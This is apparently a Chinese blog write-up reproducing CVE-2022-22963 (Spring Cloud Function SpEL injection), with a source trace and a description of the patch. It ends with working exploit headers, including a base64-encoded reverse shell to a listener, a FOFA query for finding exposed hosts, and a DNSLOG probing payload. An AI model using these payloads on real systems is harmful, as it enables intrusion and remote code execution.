Spring Cloud Function(SpEL)漏洞复现
1 漏洞描述
Spring Cloud Function是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。
Spring Cloud Function SpEL表达式注入漏洞, 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
CVE编号:Cve-2022-22963
2.漏洞影响范围
受影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2
不受影响版本:
Spring Cloud Function 3.1.7
Spring Cloud Function 3.2.3
3.复现过程
环境介绍:
JDK版本:jdk-17
漏洞环境地址:https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
下载漏洞环境项目代码,压缩后使用IDEA打开(任意路由)

配置JDK环境:


查看pom.xml文件中的版本信息

Debug运行

打开浏览器访问 http://127.0.0.1:8080

这里使用的hackber 添加参数到HEADER中:
Name: spring.cloud.function.routing-expression
Value: T(java.lang.Runtime).getRuntime().exec("calc")

发送请求之后,命令成功执行

4.原理剖析
在官网的Github中给出了漏洞位置和相关测试的payload。

漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互。
整个利用过程(源码分析):

这里我从原始请求部分开始分析漏洞给实现过程,已经下载了SpringCloud Function 3.2.0版本的源码文件:
3.2.0版本下载地址:https://codeload.github.com/spring-cloud/spring-cloud-function/zip/refs/tags/v3.2.0
打开项目文件:

进入到:/org/springframework/cloud/function/web/就开始从Mvc下面的FunctionController中的跟入:

程序获取到body中的参数,并且传入到processRequest()方法中
再mvc同级目录util中找到FunctionWebRequestProcessingHelper中的processRequest()方法。

程序将请求体内容和获取到的HEADERS一起组合成inputMessage,判断当前请求是否为RoutingFunction,并将inputMessage带入到FunctionInvocationWrapper.apply方法中。
在org/springframework/cloud/function/context/catalog/SimpleFunctionRegistry.java
找到相应的apply()方法。

Apply()方法又调用了doApply()方法

再doApply()方法中,经过判断之后,调用RoutingFunction的apply()方法
进入到:/org/springframework/cloud/function/context/config/RoutingFunction.java
找到对于的apply()方法:看到,该方法又调用了route()方法,

继续跟进route()方法

在该方法中会去判读input是否为 message的实例,function 是否为空,在这里判断了请求headers头中有没有spring.cloud.function.routing-expression参数
并将结果带入到this.functionFromExpression()方法中,查看方法

最终直接由SpelExpressionParser来解析,导致SpEL表达式注入。
整个逻辑中由于完全信任从最开始传入的header信息
5.修复方案
在官方最新的修补文件中,可以看到新增了headerEvalContext对象,该对象所对应的是使用了仅支持最基本功能的SimpleEvaluationContext。可以理解为只读访问的数据绑定属性, SpEL无法调用Java类对象或引用bean。

设置isViaHeader变量作为flag,在解析前判断spring.cloud.function.routing-expression的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext解析SpEL语句,不是来自外部输入时用StandardEvaluationContext解析。

6.扩展
POC:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch a.txt")
EXP:
反弹shell:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo, YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTIzLjYyLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}")
测试如下:
首先在kali上面设置监听

再将shell进行BASE64编码,然后设置好请求数据包:

发送数据包之后,kali上成功的get shell

相关漏洞挖掘
这里我使用FOFA进行搜索语句如下:
app="vmware-SpringBoot-framework" && body="status=500"
使用ping 命令,然后再DNSLOG平台查看回应
payload:
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping 5h6kr9.dnslog.cn")
。

浙公网安备 33010602011771号